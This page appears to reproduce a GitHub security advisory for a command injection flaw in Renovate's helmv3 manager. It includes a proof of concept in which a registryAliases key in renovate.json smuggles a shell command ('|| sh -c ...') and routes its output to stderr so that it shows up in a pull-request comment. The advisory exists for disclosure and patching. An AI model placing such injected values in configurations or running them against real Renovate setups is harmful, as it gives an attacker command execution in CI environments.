GHSA-rqgv-292v-5qgr: Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases
Summary Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands. Details Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add command for each defined alias.
Published Apr 23, 2024
Affected packages
renovate
- Ecosystem
- npm
- Affected
- >= 37.158.0, < 37.199.0
- Fixed in
- 37.199.0
- Check
npm ls renovate
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.
Details
Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80 The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.
PoC
Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:
test-chart/Chart.yaml:
apiVersion: v2
name: redis
version: 1.0.0
dependencies:
- name: redis
version: 18.13.10
repository: oci://registry-1.docker.io/bitnamichartstest-chart/Chart.lock:
dependencies:
- name: redis
repository: oci://registry-1.docker.io/bitnamicharts
version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"Then add the following renovate.json:
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:base"
],
"registryAliases": {
"foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
}
}Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:
File name: test-chart/Chart.lock
Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments
Usage: helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
varThis shows that the ls command executed successfully, and we can even see its output.
Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.
Impact
All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.
Credited to meyfa.
References
- https://github.com/renovatebot/renovate/security/advisories/GHSA-rqgv-292v-5qgr
- https://github.com/renovatebot/renovate/commit/1e941fd885c799f2d38f4084a6f4cb9438813c8f
- https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
- https://github.com/advisories/GHSA-rqgv-292v-5qgr
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesGHSA-5vjq-5jmg-39xq
Renovate affected by remote code execution was possible using the bazel-module or bazelisk managers, when using lockFileMaintenance
medium6.3Apr 16, 2026GHSA-8wc6-vgrq-x6cf
Child processes spawned by Renovate incorrectly have full access to environment variables
medium5.5Feb 13, 2026GHSA-36j9-mx87-2cff
Renovate vulnerable to arbitrary command injection via hermit manager and maliciously named dependencies
medium6.7Jan 13, 2026GHSA-3f44-xw83-3pmg
Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file
medium6.7Jan 13, 2026GHSA-fr4j-65pv-gjjj
Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration
medium6.7Jan 13, 2026GHSA-pfq2-hh62-7m96
Renovate vulnerable to arbitrary command injection via Gradle Wrapper and malicious `distributionUrl`
medium6.7Jan 13, 2026
